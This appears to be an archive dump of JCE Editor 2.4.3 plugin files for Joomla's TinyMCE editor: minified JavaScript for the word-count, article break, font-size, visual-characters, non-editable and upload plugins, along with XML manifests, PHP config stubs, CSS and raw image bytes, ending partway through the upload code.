j,k;k=i.getParam("wordcount_target_id");if(!k){j=tinymce.DOM.get(i.id+"_path_row");if(j){tinymce.DOM.add(j.parentNode,"div",{style:"float: right"},i.getLang("wordcount.words","Words: ")+'0')}}else{tinymce.DOM.add(k,"span",{},'0')}});c.onInit.add(function(h){h.selection.onSetContent.add(function(){e._count(h)});e._count(h)});c.onSetContent.add(function(h){e._count(h)});function b(h){return h!==f&&(h===g.ENTER||f===g.SPACEBAR||a(f))}function a(h){return h===g.DELETE||h===g.BACKSPACE}c.onKeyUp.add(function(h,i){if(b(i.keyCode)||e.update_on_delete&&a(i.keyCode)){e._count(h)}f=i.keyCode})},_getCount:function(c){var a=0;var b=c.getContent({format:"raw"});if(b){b=b.replace(/\.\.\./g," ");b=b.replace(/<.[^<>]*?>/g," ").replace(/ | /gi," ");b=b.replace(/(\w+)(&.+?;)+(\w+)/,"$1$3").replace(/&.+?;/g," ");b=b.replace(this.cleanre,"");var d=b.match(this.countre);if(d){a=d.length}}return a},_count:function(a){var b=this;if(b.block){return}b.block=1;setTimeout(function(){if(!a.destroyed){var c=b._getCount(a);tinymce.DOM.setHTML(b.id,c.toString());setTimeout(function(){b.block=0},b.update_rate)}},1)},getInfo:function(){return{longname:"Word Count plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/wordcount",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("wordcount",tinymce.plugins.WordCount)})();com_jce/editor/tiny_mce/plugins/article/article.xml000066600000003650150771500630016525 0ustar00 WF_ARTICLE_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_ARTICLE_DESC readmore,pagebreak com_jce/editor/tiny_mce/plugins/article/classes/index.html000066600000000054150771500630020005 0ustar00com_jce/editor/tiny_mce/plugins/article/classes/config.php000066600000001541150771500630017770 0ustar00getParam('article.hide_xtd_btns', 0, 0); $settings['article_show_readmore'] = $wf->getParam('article.show_readmore', 1, 1); $settings['article_show_pagebreak'] = $wf->getParam('article.show_pagebreak', 1, 1); } } ?>com_jce/editor/tiny_mce/plugins/article/index.html000066600000000054150771500630016350 0ustar00com_jce/editor/tiny_mce/plugins/article/css/index.html000066600000000054150771500630017140 0ustar00com_jce/editor/tiny_mce/plugins/article/css/content.css000066600000001667150771500630017342 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .mceItemReadMore,.mceItemPageBreak{display:inline-block;padding:0;margin:0;border:1px dotted #000!important;background-color:#ccc;background-repeat:no-repeat;background-position:center;height:16px;width:99%;font-size:0;line-height:0;letter-spacing:normal;word-spacing:normal;cursor:pointer;}.mceItemReadMore{background-image:url(../img/readmore.png);clear:both;}.mceItemPageBreak{background-image:url(../img/pagebreak.png);clear:both;}.mceItemReadMore::selection,.mceItemPageBreak::selection{background-color:#b4d4ff;}.mceItemReadMore.mceItemSelected,.mceItemPageBreak.mceItemSelected{background-color:#b4d4ff;}.mceItemPageBreak:after{color:#000;content:attr(title);font-size:10px;line-height:14px;padding:0 5px;display:block;float:left;}com_jce/editor/tiny_mce/plugins/article/img/readmore.png000066600000000565150771500630017442 0ustar00PNG  IHDR com_jce/editor/tiny_mce/plugins/article/img/trans.gif000066600000000053150771500630016744 0ustar00GIF89a!,D;com_jce/editor/tiny_mce/plugins/article/img/pagebreak.png000066600000001314150771500630017556 0ustar00PNG  IHDR sBIT|d pHYs B4tEXtCreation Time11/12/10r<0tEXtSoftwareAdobe FireworksON(IDAT8Ք;o1ߒ DE(J0D  3KKP;3 ɂK4i6CUMp.>~ϱRJRzhlN7K% owkkkIEQJ-xt5N$)$VXkqbZsn?>^__j=x{yrDc6Ơ[kb e@-//^2RqZe% !14&n?ff09=^RWP n<5)ERڥV-],"*8h%@cgCNwUAt kHpBjeq93,Z Xޫ^07$?U*k 0G$p~)E. ~?k: 8~'d6uJ{S$Јq+1dYF<:$,nIB?z䜻vJDu:h1)`|ت?HRco_6/C߷IENDB`com_jce/editor/tiny_mce/plugins/article/editor_plugin.js000066600000016046150771500630017565 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,each=tinymce.each,Node=tinymce.html.Node;var VK=tinymce.VK,BACKSPACE=VK.BACKSPACE,DELETE=VK.DELETE;tinymce.create('tinymce.plugins.ArticlePlugin',{init:function(ed,url){var t=this;t.editor=ed;t.url=url;function isReadMore(n){return ed.dom.is(n,'hr.mceItemReadMore');};function isPageBreak(n){return ed.dom.is(n,'hr.mceItemPageBreak');};ed.addCommand('mceReadMore',function(){if(ed.dom.get('system-readmore')){alert(ed.getLang('article.readmore_alert','There is already a Read More break inserted in this article. Only one such break is permitted. Use a Pagebreak to split the page up further.'));return false;} t._insertBreak('readmore',{id:'system-readmore'});});ed.addCommand('mcePageBreak',function(ui,v){var n=ed.selection.getNode();if(isPageBreak(n)){t._updatePageBreak(n,v);}else{t._insertBreak('pagebreak',v);}});if(ed.getParam('article_show_readmore',true)){ed.addButton('readmore',{title:'article.readmore',cmd:'mceReadMore'});} ed.onInit.add(function(){if(!ed.settings.compress.css) ed.dom.loadCSS(url+"/css/content.css");if(ed.theme&&ed.theme.onResolveName){ed.theme.onResolveName.add(function(theme,o){var n=o.node,v;if(o.name==='hr'&&/mceItemPageBreak/.test(n.className)){v='pagebreak';} if(o.name==='hr'&&/mceItemReadMore/.test(n.className)){v='readmore';} if(v){o.name=v;}});}});ed.onNodeChange.add(function(ed,cm,n){cm.setActive('readmore',isReadMore(n));cm.setActive('pagebreak',isPageBreak(n));ed.dom.removeClass(ed.dom.select('hr.mceItemPageBreak.mceItemSelected, hr.mceItemReadMore.mceItemSelected'),'mceItemSelected');if(isPageBreak(n)||isReadMore(n)){ed.dom.addClass(n,'mceItemSelected');}});function _cancelResize(){each(ed.dom.select('hr.mceItemPageBreak, hr.mceItemReadMore'),function(n){n.onresizestart=function(){return false;};n.onbeforeeditfocus=function(){return false;};});};ed.onBeforeSetContent.add(function(ed,o){o.content=o.content.replace(/]*)alt="([^"]+)"([^>]+)>/gi,'');});ed.onSetContent.add(function(){if(tinymce.isIE){_cancelResize();}});ed.onGetContent.add(function(){if(tinymce.isIE){_cancelResize();}});ed.onKeyDown.add(function(ed,e){if(e.keyCode==BACKSPACE||e.keyCode==DELETE){var s=ed.selection,n=s.getNode();if(ed.dom.is(n,'hr.mceItemPageBreak, hr.mceItemReadMore')){ed.dom.remove(n);e.preventDefault();}}});ed.onPreInit.add(function(){ed.parser.addNodeFilter('hr',function(nodes){for(var i=0;i\uFEFF',{skip_undo:1});var marker=dom.get('mce_hr_marker');var hr=dom.create('hr',args);if(dom.isBlock(n)){p=dom.getParent(marker,blocks,'BODY');if(p.nodeName=='P'||p.nodeName=='DIV'){dom.split(p,marker);ns=marker.nextSibling;if(ns&&ns.nodeName==p.nodeName){if(/^(\s| |\u00a00)*?$/.test(h)||h=='
    '){dom.remove(ns);}}}else{if(p){if(p.parentNode.nodeName=='BODY'){dom.insertAfter(marker,p);}else{p.parentNode.insertBefore(marker,p);}}else{if(n.parentNode.nodeName=='BODY'){dom.insertAfter(marker,n);}else{n.parentNode.insertBefore(marker,n);}} p=marker.parentNode;while(/^(H[1-6]|ADDRESS|PRE|FORM|TABLE|OL|UL|CAPTION|BLOCKQUOTE|CENTER|DL|DIR|FIELDSET|NOSCRIPT|NOFRAMES|MENU|ISINDEX|SAMP)$/.test(p.nodeName)){p.parentNode.insertBefore(marker,p);p=marker.parentNode;}} ns=marker.nextSibling;if(!ns){var el=ed.getParam('forced_root_block')||'br';ns=ed.dom.create(el);if(el!='br'){ns.innerHTML='\u00a0';} ed.dom.insertAfter(ns,marker);s=ed.selection.select(ns);ed.selection.collapse(1);}} ed.dom.replace(hr,marker);ed.undoManager.add();},createControl:function(n,cm){var self=this,ed=this.editor;switch(n){case'pagebreak':if(ed.getParam('article_show_pagebreak',true)){var content=DOM.create('div');var fieldset=DOM.add(content,'fieldset',{},''+ed.getLang('article.pagebreak','Insert / Edit Pagebreak')+'');var n=DOM.add(fieldset,'div');DOM.add(n,'label',{'for':ed.id+'_title'},ed.getLang('article.title','Title'));var title=DOM.add(n,'input',{type:'text',id:ed.id+'_title',style:{'width':180}});n=DOM.add(fieldset,'div');DOM.add(n,'label',{'for':ed.id+'_alt'},ed.getLang('article.alias','Alias'));var alt=DOM.add(n,'input',{type:'text',id:ed.id+'_alt',style:{'width':180}});var c=new tinymce.ui.ButtonDialog(cm.prefix+'pagebreak',{title:ed.getLang('article.pagebreak','Insert / Edit Pagebreak'),'class':'mce_pagebreak','dialog_class':ed.getParam('skin')+'Skin','content':content,'width':250,buttons:[{title:ed.getLang('common.insert','Insert'),id:'insert',click:function(e){ed.execCommand('mcePageBreak',false,{title:title.value,alt:alt.value});return true;},scope:self}]},ed);c.onShowDialog.add(function(){title.value=alt.value='';var label=ed.getLang('common.insert','Insert');var o=self._getPageBreak(),active=false;if(o){title.value=o.title||'';alt.value=o.alt||'';label=ed.getLang('common.update','Update');active=true;} c.setActive(active);c.setButtonLabel('insert',label);title.focus();});c.onHideDialog.add(function(){title.value=alt.value='';});ed.onRemove.add(function(){c.destroy();});return cm.add(c);break;}} return null;},getInfo:function(){return{longname:'Article',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};}});tinymce.PluginManager.add('article',tinymce.plugins.ArticlePlugin);})();com_jce/editor/tiny_mce/plugins/fontsizeselect/classes/index.html000066600000000054150771500630021423 0ustar00com_jce/editor/tiny_mce/plugins/fontsizeselect/classes/config.php000066600000001402150771500630021402 0ustar00getParam('fontsizeselect.font_sizes', '8pt,10pt,12pt,14pt,18pt,24pt,36pt', '8pt,10pt,12pt,14pt,18pt,24pt,36pt'); } } ?> com_jce/editor/tiny_mce/plugins/fontsizeselect/index.html000066600000000054150771500630017766 0ustar00com_jce/editor/tiny_mce/plugins/fontsizeselect/editor_plugin.js000066600000005423150771500630021200 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,extend=tinymce.extend,each=tinymce.each,Cookie=tinymce.util.Cookie,explode=tinymce.explode;tinymce.create('tinymce.plugins.FontSizeSelectPlugin',{sizes:[8,10,12,14,18,24,36],init:function(ed,url){var self=this;this.editor=ed;var s=ed.settings;if(!s.font_size_style_values){s.font_size_style_values="8pt,10pt,12pt,14pt,18pt,24pt,36pt";} s.theme_advanced_font_sizes=ed.getParam('fontsizeselect_font_sizes','8pt,10pt,12pt,14pt,18pt,24pt,36pt');if(tinymce.is(s.theme_advanced_font_sizes,'string')){s.font_size_style_values=tinymce.explode(s.font_size_style_values);s.font_size_classes=tinymce.explode(s.font_size_classes||'');var o={};ed.settings.theme_advanced_font_sizes=s.theme_advanced_font_sizes;each(ed.getParam('theme_advanced_font_sizes','','hash'),function(v,k){var cl;if(k==v&&v>=1&&v<=7){k=v+' ('+self.sizes[v-1]+'pt)';cl=s.font_size_classes[v-1];v=s.font_size_style_values[v-1]||(t.sizes[v-1]+'pt');} if(/^\s*\./.test(v)) cl=v.replace(/\./g,'');o[k]=cl?{'class':cl}:{fontSize:v};});s.theme_advanced_font_sizes=o;} ed.onNodeChange.add(function(ed,cm,n){var c=cm.get('fontsizeselect'),fn,s=ed.settings;if(c&&n.style){var fz=n.style.fontSize,cl=n.className;if(s.theme_advanced_runtime_fontsize&&!fz&&!cl) fz=ed.dom.getStyle(n,'fontSize',true);c.select(function(v){if(v.fontSize&&v.fontSize===fz) return true;if(v['class']&&v['class']===cl) return true;});}});},createControl:function(n,cf){switch(n){case"fontsizeselect":return this._createSizeFontSelect();break;}},_createSizeFontSelect:function(){var self=this,ed=self.editor,c,i=0,cl=[];c=ed.controlManager.createListBox('fontsizeselect',{title:'advanced.font_size',onselect:function(v){var cur=c.items[c.selectedIndex];if(!v&&cur){cur=cur.value;if(cur['class']){ed.formatter.toggle('fontsize_class',{value:cur['class']});ed.undoManager.add();ed.nodeChanged();}else{ed.execCommand('FontSize',false,cur.fontSize);} return;} if(v['class']){ed.focus();ed.undoManager.add();ed.formatter.toggle('fontsize_class',{value:v['class']});ed.undoManager.add();ed.nodeChanged();}else ed.execCommand('FontSize',false,v.fontSize);c.select(function(sv){return v==sv;});if(cur&&(cur.value.fontSize==v.fontSize||cur.value['class']&&cur.value['class']==v['class'])){c.select(null);} return false;}});if(c){each(ed.settings.theme_advanced_font_sizes,function(v,k){var fz=v.fontSize;if(fz>=1&&fz<=7) fz=self.sizes[parseInt(fz)-1]+'pt';c.add(k,v,{'style':'font-size:'+fz,'class':'mceFontSize'+(i++)+(' '+(v['class']||''))});});} return c;}});tinymce.PluginManager.add('fontsizeselect',tinymce.plugins.FontSizeSelectPlugin);})();com_jce/editor/tiny_mce/plugins/fontsizeselect/fontsizeselect.xml000066600000001567150771500630021566 0ustar00 WF_FONTSIZESELECT_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_FONTSIZESELECT_DESC fontselect com_jce/editor/tiny_mce/plugins/visualchars/classes/index.html000066600000000054150771500630020706 0ustar00com_jce/editor/tiny_mce/plugins/visualchars/classes/config.php000066600000001445150771500630020674 0ustar00getParam('editor.visualchars', 0); $settings['visualchars_default_state'] = $wf->getParam('editor.visualchars_state', $state, 0, 'boolean'); } } ?>com_jce/editor/tiny_mce/plugins/visualchars/index.html000066600000000054150771500630017251 0ustar00com_jce/editor/tiny_mce/plugins/visualchars/visualchars.xml000066600000001645150771500630020331 0ustar00 WF_VISUALCHARS_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_VISUALCHARS_DESC visualchars com_jce/editor/tiny_mce/plugins/visualchars/editor_plugin.js000066600000004230150771500630020456 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){tinymce.create('tinymce.plugins.VisualChars',{init:function(ed,url){var t=this;t.editor=ed;var state=tinymce.util.Cookie.get('wf_visualchars_state');state=tinymce.is(state,'string')?parseFloat(state):ed.getParam('visualchars_default_state',0);ed.onInit.add(function(){ed.controlManager.setActive('visualchars',state);t._toggleVisualChars(state);});ed.addButton('visualchars',{title:'visualchars.desc',cmd:'mceVisualChars'});ed.onExecCommand.add(function(ed,cmd,ui,v,o){if(cmd==="mceNonBreaking"){t._toggleVisualChars(state);}});ed.addCommand('mceVisualChars',function(){state=!state;ed.controlManager.setActive('visualchars',state);t._toggleVisualChars(state);if(ed.getParam('use_cookies',1)){tinymce.util.Cookie.set('wf_visualchars_state',state?1:0);}},t);ed.onKeyUp.add(function(ed,e){if(state){if(e.keyCode==13){t._toggleVisualChars(state);}}});ed.onPreProcess.add(function(ed,o){if(o.get){t._toggleVisualChars(false,o.node);}});ed.onSetContent.add(function(ed,o){t._toggleVisualChars(state);});},getInfo:function(){return{longname:'Visual characters',author:'Moxiecode Systems AB / Ryan Demmer',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/visualchars',version:tinymce.majorVersion+"."+tinymce.minorVersion};},_toggleVisualChars:function(state,o){var t=this,ed=t.editor,nl,i,h,d=ed.getDoc(),b=o||ed.getBody(),nv,s=ed.selection,bo,div,node;if(state){nl=[];tinymce.walk(b,function(n){if(n.nodeType==3&&n.nodeValue&&/(\u00a0| )/.test(n.nodeValue)) nl.push(n);},'childNodes');for(i=0;i$1');div=ed.dom.create('div',null,nv);while(node=div.lastChild) ed.dom.insertAfter(node,nl[i]);ed.dom.remove(nl[i]);}}else{nl=ed.dom.select('span.mceItemNbsp',b);for(i=nl.length-1;i>=0;i--){ed.dom.remove(nl[i],1);}}}});tinymce.PluginManager.add('visualchars',tinymce.plugins.VisualChars);})();com_jce/editor/tiny_mce/plugins/noneditable/index.html000066600000000054150771500630017211 0ustar00com_jce/editor/tiny_mce/plugins/noneditable/editor_plugin.js000066600000013047150771500630020424 0ustar00/* JCE Editor - 2.3.4.4 | 12 December 2013 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2013 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var c=tinymce.dom.TreeWalker;var a="contenteditable",d="data-mce-"+a;var e=tinymce.VK;function b(n){var j=n.dom,p=n.selection,r,o="mce_noneditablecaret";r=tinymce.isGecko?"\u200B":"\uFEFF";function m(t){var s;if(t.nodeType===1){s=t.getAttribute(d);if(s&&s!=="inherit"){return s}s=t.contentEditable;if(s!=="inherit"){return s}}return null}function g(s){var t;while(s){t=m(s);if(t){return t==="false"?s:null}s=s.parentNode}}function l(s){while(s){if(s.id===o){return s}s=s.parentNode}}function k(s){var t;if(s){t=new c(s,s);for(s=t.current();s;s=t.next()){if(s.nodeType===3){return s}}}}function f(v,u){var s,t;if(m(v)==="false"){if(j.isBlock(v)){p.select(v);return}}t=j.createRng();if(m(v)==="true"){if(!v.firstChild){v.appendChild(n.getDoc().createTextNode("\u00a0"))}v=v.firstChild;u=true}s=j.create("span",{id:o,"data-mce-bogus":true},r);if(u){v.parentNode.insertBefore(s,v)}else{j.insertAfter(s,v)}t.setStart(s.firstChild,1);t.collapse(true);p.setRng(t);return s}function i(s){var v,t,u;if(s){rng=p.getRng(true);rng.setStartBefore(s);rng.setEndBefore(s);v=k(s);if(v&&v.nodeValue.charAt(0)==r){v=v.deleteData(0,1)}j.remove(s,true);p.setRng(rng)}else{t=l(p.getStart());while((s=j.get(o))&&s!==u){if(t!==s){v=k(s);if(v&&v.nodeValue.charAt(0)==r){v=v.deleteData(0,1)}j.remove(s,true)}u=s}}}function q(){var s,w,u,t,v;function x(B,D){var A,F,E,C,z;A=t.startContainer;F=t.startOffset;if(A.nodeType==3){z=A.nodeValue.length;if((F>0&&F0?F-1:F;A=A.childNodes[G];if(A.hasChildNodes()){A=A.firstChild}}else{return!D?B:null}}E=new c(A,B);while(C=E[D?"prev":"next"]()){if(C.nodeType===3&&C.nodeValue.length>0){return}else{if(m(C)==="true"){return C}}}return B}i();u=p.isCollapsed();s=g(p.getStart());w=g(p.getEnd());if(s||w){t=p.getRng(true);if(u){s=s||w;var y=p.getStart();if(v=x(s,true)){f(v,true)}else{if(v=x(s,false)){f(v,false)}else{p.select(s)}}}else{t=p.getRng(true);if(s){t.setStartBefore(s)}if(w){t.setEndAfter(w)}p.setRng(t)}}}function h(z,B){var F=B.keyCode,x,C,D,v;function u(H,G){while(H=H[G?"previousSibling":"nextSibling"]){if(H.nodeType!==3||H.nodeValue.length>0){return H}}}function y(G,H){p.select(G);p.collapse(H)}function t(K){var J,I,M,H;function G(O){var N=I;while(N){if(N===O){return}N=N.parentNode}j.remove(O);q()}function L(){var O,P,N=z.schema.getNonEmptyElements();P=new tinymce.dom.TreeWalker(I,z.getBody());while(O=(K?P.prev():P.next())){if(N[O.nodeName.toLowerCase()]){break}if(O.nodeType===3&&tinymce.trim(O.nodeValue).length>0){break}if(m(O)==="false"){G(O);return true}}if(g(O)){return true}return false}if(p.isCollapsed()){J=p.getRng(true);I=J.startContainer;M=J.startOffset;I=l(I)||I;if(H=g(I)){G(H);return false}if(I.nodeType==3&&(K?M>0:M124)&&F!=e.DELETE&&F!=e.BACKSPACE){if((tinymce.isMac?B.metaKey:B.ctrlKey)&&(F==67||F==88||F==86)){return}B.preventDefault();if(F==e.LEFT||F==e.RIGHT){var w=F==e.LEFT;if(z.dom.isBlock(x)){var A=w?x.previousSibling:x.nextSibling;var s=new c(A,A);var E=w?s.prev():s.next();y(E,!w)}else{y(x,w)}}}else{if(F==e.LEFT||F==e.RIGHT||F==e.BACKSPACE||F==e.DELETE){C=l(D);if(C){if(F==e.LEFT||F==e.BACKSPACE){x=u(C,true);if(x&&m(x)==="false"){B.preventDefault();if(F==e.LEFT){y(x,true)}else{j.remove(x);return}}else{i(C)}}if(F==e.RIGHT||F==e.DELETE){x=u(C);if(x&&m(x)==="false"){B.preventDefault();if(F==e.RIGHT){y(x,false)}else{j.remove(x);return}}else{i(C)}}}if((F==e.BACKSPACE||F==e.DELETE)&&!t(F==e.BACKSPACE)){B.preventDefault();return false}}}}n.onMouseDown.addToTop(function(s,u){var t=s.selection.getNode();if(m(t)==="false"&&t==u.target){q()}});n.onMouseUp.addToTop(q);n.onKeyDown.addToTop(h);n.onKeyUp.addToTop(q)}tinymce.create("tinymce.plugins.NonEditablePlugin",{init:function(i,k){var h,g,j;function f(m,n){var o=j.length,p=n.content,l=tinymce.trim(g);if(n.format=="raw"){return}while(o--){p=p.replace(j[o],function(s){var r=arguments,q=r[r.length-2];if(q>0&&p.charAt(q-1)=='"'){return s}return''+m.dom.encode(typeof(r[1])==="string"?r[1]:r[0])+""})}n.content=p}h=" "+tinymce.trim(i.getParam("noneditable_editable_class","mceEditable"))+" ";g=" "+tinymce.trim(i.getParam("noneditable_noneditable_class","mceNonEditable"))+" ";j=i.getParam("noneditable_regexp");if(j&&!j.length){j=[j]}i.onPreInit.add(function(){b(i);if(j){i.selection.onBeforeSetContent.add(f);i.onBeforeSetContent.add(f)}i.parser.addAttributeFilter("class",function(l){var m=l.length,n,o;while(m--){o=l[m];n=" "+o.attr("class")+" ";if(n.indexOf(h)!==-1){o.attr(d,"true")}else{if(n.indexOf(g)!==-1){o.attr(d,"false")}}}});i.serializer.addAttributeFilter(d,function(l,m){var n=l.length,o;while(n--){o=l[n];if(j&&o.attr("data-mce-content")){o.name="#text";o.type=3;o.raw=true;o.value=o.attr("data-mce-content")}else{o.attr(a,null);o.attr(d,null)}}});i.parser.addAttributeFilter(a,function(l,m){var n=l.length,o;while(n--){o=l[n];o.attr(d,o.attr(a));o.attr(a,null)}})})},getInfo:function(){return{longname:"Non editable elements",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/noneditable",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("noneditable",tinymce.plugins.NonEditablePlugin)})();com_jce/editor/tiny_mce/plugins/upload/index.html000066600000000054150771500630016211 0ustar00com_jce/editor/tiny_mce/plugins/upload/css/index.html000066600000000054150771500630017001 0ustar00com_jce/editor/tiny_mce/plugins/upload/css/content.css000066600000001546150771500630017177 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .mceItemUpload{border:1px dotted #555!important;background-position:center;background-repeat:no-repeat;background-color:#eee;background-image:url(../img/upload.gif);display:inline-block;vertical-align:middle;text-align:center;}.mceItemUpload span.upload-progress{position:relative;display:inline-block;top:50%;line-height:10px;font-family:Arial,Helvetica,sans-serif;font-size:7pt;vertical-align:baseline;margin:-5px 0 0 0;text-align:center;width:32px;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;}.mceItemUploadMarker{background-image:url("../img/picture.png");}.mceItemUploadMarker.loading{background-image:url("../img/upload.gif");}com_jce/editor/tiny_mce/plugins/upload/img/picture.png000066600000000323150771500630017150 0ustar00PNG  IHDRIDATxՕ EGG?ёOkRBc SЈAJ`.tR2# w"@*@\a %B,8@d^<yA|\"5 `izf3]_R|D`c Z-ޕURIENDB`com_jce/editor/tiny_mce/plugins/upload/img/upload.gif000066600000005060150771500630016745 0ustar00GIF89aҼܸت666&&&PPPpppVVVhhhFFFHHH222! NETSCAPE2.0!Created with ajaxload.info! ,@pH b$Ĩtx@$W@e8>S-k\'<\0f4` /yXg{w Q o X h Dd aeTyvkyBVevCpyCyFpQpGpPCpHpͫpIppJe ֝XϧepX%䀪ia6Ž'_S$jtEYI6-&(5f 1dx%OmmFaYQ$"-EYE2 I=jԄ#V7/H"EmF(a$ܗ ! ,@pH|$0 P ĨTqp*X, "ө-o]"com_jce/editor/tiny_mce/plugins/upload/img/trans.gif000066600000000053150771500630016605 0ustar00GIF89a!,D;com_jce/editor/tiny_mce/plugins/upload/editor_plugin.js000066600000031120150771500630017414 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each,extend=tinymce.extend,JSON=tinymce.util.JSON;var isWin=navigator.platform.indexOf('Win')!==-1,isSafari=tinymce.isWebKit&&navigator.vendor.indexOf('Apple')!==-1;var Node=tinymce.html.Node;var mimes={};function toArray(list){return Array.prototype.slice.call(list||[],0);} (function(mime_data){var items=mime_data.split(/,/),i,y,ext;for(i=0;i'+ed.getLang('upload.label','Upload')+'');input=dom.add(btn,'input',{'type':'file','id':'wf_upload_input'});} ed.dom.bind(marker,'mouseover',function(e){if(ed.dom.getAttrib(marker,'data-mce-selected')){return;} var vp=ed.dom.getViewPort(ed.getWin());var p1=dom.getRect(ed.getContentAreaContainer());var p2=ed.dom.getRect(marker);var st=ed.getBody().scrollTop;if(st>p2.y+p2.h/2-25){return;} if(st<(p2.y+p2.h/2+25)-p1.h){return;} var x=Math.max(p2.x-vp.x,0)+p1.x;var y=Math.max(p2.y-vp.y,0)+p1.y-Math.max(st-p2.y,0);var zIndex=ed.id=='mce_fullscreen'?dom.get('mce_fullscreen_container').style.zIndex:0;dom.setStyles('wf_upload_button',{'top':y+p2.h/2-27,'left':x+p2.w/2-54,'display':'block','zIndex':zIndex+1});input.onchange=function(){if(input.files){var file=input.files[0];if(file){file.marker=marker;if(self.addFile(file)){ed.dom.addClass(marker,'loading');self.upload(file);removeUpload();}}}};});ed.dom.bind(marker,'mouseout',function(e){if(!e.relatedTarget&&e.clientY>0){return;} removeUpload();});},_createUploadMarker:function(n){var self=this,ed=this.editor,src=n.attr('src')||'',style={},styles,cls=[];if(!n.attr('alt')&&!/data:image/.test(src)){var alt=src.substring(src.length,src.lastIndexOf('/')+1);n.attr('alt',alt);} if(n.attr('style')){style=ed.dom.styles.parse(n.attr('style'));} if(n.attr('hspace')){style['margin-left']=style['margin-right']=n.attr('hspace');} if(n.attr('vspace')){style['margin-top']=style['margin-bottom']=n.attr('vspace');} if(n.attr('align')){style.float=n.attr('align');} if(n.attr('class')){cls=n.attr('class').replace(/\s*upload-placeholder\s*/,'').split(' ');} cls.push('mceItemUpload');cls.push('mceItemUploadMarker');n.attr({'src':this.plugin_url+'/img/trans.gif','class':tinymce.trim(cls.join(' '))});var tmp=ed.dom.create('span',{'style':style});if(styles=ed.dom.getAttrib(tmp,'style')){n.attr({'style':styles,'data-mce-style':styles});}},buildUrl:function(url,items){var query='';each(items,function(value,name){query+=(query?'&':'')+encodeURIComponent(name)+'='+encodeURIComponent(value);});if(query){url+=(url.indexOf('?')>0?'&':'?')+query;} return url;},addFile:function(file){var ed=this.editor,self=this,fileNames={},url;if(/\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\./i.test(file.name)){ed.windowManager.alert(ed.getLang('upload.file_extension_error','File type not supported'));return false;} each(self.plugins,function(o,k){if(!file.upload_url){if(url=o.getUploadURL(file)){file.upload_url=url;file.uploader=o;}}});if(file.upload_url){if(tinymce.is(file.uploader.getUploadConfig,'function')){var config=file.uploader.getUploadConfig();var type=file.type.replace(/[a-z0-9]+\/([a-z0-9]{2,4})/i,'$1');type=type.toLowerCase();if(tinymce.inArray(config.filetypes,type)==-1){ed.windowManager.alert(ed.getLang('upload.file_extension_error','File type not supported'));return false;} if(file.size){var max=parseInt(config.max_size)||1024;if(file.size>max*1024){ed.windowManager.alert(ed.getLang('upload.file_size_error','File size exceeds maximum allowed size'));return false;}}} self.FilesAdded.dispatch(file);if(!file.marker){var w=300,h=300;ed.execCommand('mceInsertContent',false,'',{skip_undo:1});if(/image\/(gif|png|jpeg|jpg)/.test(file.type)){w=h=Math.round(Math.sqrt(file.size));w=Math.max(100,w);h=Math.max(100,h);} var n=ed.dom.get('__mce_tmp');ed.dom.setAttrib(n,'id','');n.style.width=w+"px";n.style.height=h+"px";file.marker=n;} ed.undoManager.add();self.files.push(file);return true;}else{ed.windowManager.alert(ed.getLang('upload.file_extension_error','File type not supported'));return false;} return false;},upload:function(file){var self=this,ed=this.editor;var args={'action':'upload','format':'raw','method':'dragdrop','component_id':ed.settings.component_id};args[ed.settings.token]='1';var url=file.upload_url;function sendFile(bin){var xhr=new XMLHttpRequest,formData=new 